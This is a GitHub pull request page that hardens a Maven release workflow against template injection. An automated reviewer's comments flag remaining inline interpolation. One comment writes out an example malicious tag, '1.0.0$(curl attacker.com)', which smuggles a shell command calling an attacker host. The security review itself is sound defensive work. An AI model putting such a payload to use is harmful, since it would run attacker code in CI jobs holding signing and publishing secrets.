Skip to content

fix: validate version format in release workflow#1954

Merged
gnodet merged 1 commit into
masterfrom
fix/release-version-validation
Jun 15, 2026
Merged

fix: validate version format in release workflow#1954
gnodet merged 1 commit into
masterfrom
fix/release-version-validation

Conversation

@gnodet

@gnodet gnodet commented Jun 14, 2026

Copy link
Copy Markdown
Member

Add explicit validation of the version output against a strict semver pattern before it is consumed in the deploy and post-release steps. This addresses a potential template injection vector flagged by security scanners.

Changes:

  • Add a "Validate version" step that checks the version matches ^[0-9]+\.[0-9]+\.[0-9]+$ before proceeding
  • Replace direct ${{ steps.version.outputs.version }} interpolation in the Post release step's run: block with an environment variable (RELEASE_VERSION) to avoid template injection

Summary by CodeRabbit

  • Chores
    • Strengthened release validation to prevent invalid version formats from being released
    • Improved release workflow stability and reliability through enhanced environment variable handling

@gnodet gnodet added the fix Bug fix label Jun 14, 2026
@coderabbitai

coderabbitai Bot commented Jun 14, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

📝 Walkthrough

Walkthrough

The Maven release workflow gains a "Validate version" step that fails if the tag does not match the X.Y.Z numeric pattern. The "Post release" script introduces a RELEASE_VERSION environment variable sourced from the version step output, and two bash version variable assignments are updated to derive from that env var.

Changes

Release Workflow Hardening

Layer / File(s) Summary
Version format validation and env var normalization
.github/workflows/release.yml
Adds a new step that regex-validates the version against X.Y.Z and exits non-zero on mismatch. Introduces RELEASE_VERSION as an explicit env var in the post-release step and updates both bash version assignments to read from it instead of directly from the step output.

Estimated code review effort

🎯 1 (Trivial) | ⏱️ ~3 minutes

Poem

🐇 A version must wear the right coat,
Three numbers in a row, that's the note.
X dot Y dot Z, nothing more,
Or the workflow slams shut the door.
Tidy env vars, the rabbit says,
Keep your releases neat always! 🎉

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title clearly and concisely summarizes the main change: adding version format validation to the release workflow, which directly aligns with the primary objective of addressing a security vulnerability.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.

✏️ Tip: You can configure your own custom pre-merge checks in the settings.

✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch fix/release-version-validation

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands and usage tips.

@sonarqubecloud

Copy link
Copy Markdown

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 1

Caution

Some comments are outside the diff and can’t be posted inline due to platform limitations.

⚠️ Outside diff range comments (1)
.github/workflows/release.yml (1)

80-80: ⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Pre-existing template injection in the Release step.

Line 80 uses the same vulnerable pattern that the PR fixes in the Post release step:

-Dnisse.jgit.dynamicVersion=${{ steps.version.outputs.version }}

For consistency with the PR's security objectives, this should also use an environment variable.

♻️ Suggested fix

Add RELEASE_VERSION to the env: block (lines 72-78):

 - name: Release
   env:
     MAVEN_GPG_PASSPHRASE: ${{ secrets.GPG_PASSPHRASE }}
     MAVEN_GPG_KEY: ${{ secrets.GPG_SIGNING_KEY }}
     MAVEN_GPG_KEY_FINGERPRINT: ${{ secrets.GPG_KEY_FINGERPRINT }}
     MAVEN_USER: ${{ secrets.MAVEN_USER }}
     MAVEN_PASSWORD: ${{ secrets.MAVEN_PASSWORD }}
     MVX_USE_SYSTEM_JAVA: true
+    RELEASE_VERSION: ${{ steps.version.outputs.version }}
   run: |
-    ./mvx mvn -B deploy -Dnjord.autoPublish -Dnisse.jgit.dynamicVersion=${{ steps.version.outputs.version }} -Pbundle,javadoc,format-check,sign -s .github/release-settings.xml
+    ./mvx mvn -B deploy -Dnjord.autoPublish -Dnisse.jgit.dynamicVersion="$RELEASE_VERSION" -Pbundle,javadoc,format-check,sign -s .github/release-settings.xml
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml at line 80, The Release step on line 80
contains a template injection vulnerability using ${{
steps.version.outputs.version }} directly in the Maven command, which should be
fixed using an environment variable like the PR does in the Post release step.
Add a RELEASE_VERSION environment variable to the env block (lines 72-78) that
captures the value from steps.version.outputs.version, then replace the inline
template syntax on line 80 with a reference to this environment variable to
eliminate the template injection risk.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/release.yml:
- Around line 62-70: The "Validate version" step uses direct template
interpolation of ${{ steps.version.outputs.version }} in the run block, creating
a template injection vulnerability where shell metacharacters could execute
before validation. Instead of using the template directly in the shell command,
define the version as an environment variable in the step (using env: section),
then reference that environment variable within the run block using standard
bash variable syntax without template brackets. This ensures the version string
is treated as data rather than being interpreted by the template engine before
the regex validation runs.

---

Outside diff comments:
In @.github/workflows/release.yml:
- Line 80: The Release step on line 80 contains a template injection
vulnerability using ${{ steps.version.outputs.version }} directly in the Maven
command, which should be fixed using an environment variable like the PR does in
the Post release step. Add a RELEASE_VERSION environment variable to the env
block (lines 72-78) that captures the value from steps.version.outputs.version,
then replace the inline template syntax on line 80 with a reference to this
environment variable to eliminate the template injection risk.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 1c2859db-1594-4f56-bbc2-01c678d301d5

📥 Commits

Reviewing files that changed from the base of the PR and between 230902d and ff74aa0.

📒 Files selected for processing (1)
  • .github/workflows/release.yml

Comment on lines +62 to +70
- name: Validate version
run: |
version="${{ steps.version.outputs.version }}"
if [[ ! "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
echo "::error::Invalid version format: '$version' (expected X.Y.Z)"
exit 1
fi
echo "Version validated: $version"

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🔴 Critical | ⚡ Quick win

Template injection vulnerability in the validation step itself.

Line 64 uses direct template interpolation ${{ steps.version.outputs.version }} in the run: block. This creates the same injection vector that the PR aims to fix in the Post release step.

Attack scenario:
A malicious tag like 1.0.0$(curl attacker.com) would cause GitHub Actions to expand line 64 into:

version="1.0.0$(curl attacker.com)"

The shell executes the command substitution before the regex check on line 65 runs, so the malicious code executes even though validation ultimately fails.

Fix:
Use an environment variable (the same pattern correctly applied on lines 86, 90, 121):

🔒 Proposed fix
 - name: Validate version
+  env:
+    VERSION_TO_VALIDATE: ${{ steps.version.outputs.version }}
   run: |
-    version="${{ steps.version.outputs.version }}"
+    version="$VERSION_TO_VALIDATE"
     if [[ ! "$version" =~ ^[0-9]+\.[0-9]+\.[0-9]+$ ]]; then
       echo "::error::Invalid version format: '$version' (expected X.Y.Z)"
       exit 1
🧰 Tools
🪛 zizmor (1.25.2)

[info] 64-64: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/release.yml around lines 62 - 70, The "Validate version"
step uses direct template interpolation of ${{ steps.version.outputs.version }}
in the run block, creating a template injection vulnerability where shell
metacharacters could execute before validation. Instead of using the template
directly in the shell command, define the version as an environment variable in
the step (using env: section), then reference that environment variable within
the run block using standard bash variable syntax without template brackets.
This ensures the version string is treated as data rather than being interpreted
by the template engine before the regex validation runs.

@gnodet gnodet added this to the 4.2.0 milestone Jun 15, 2026
@gnodet
gnodet merged commit d910224 into master Jun 15, 2026
15 checks passed
@gnodet gnodet modified the milestones: 4.2.0, 4.1.4 Jun 15, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

fix Bug fix

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants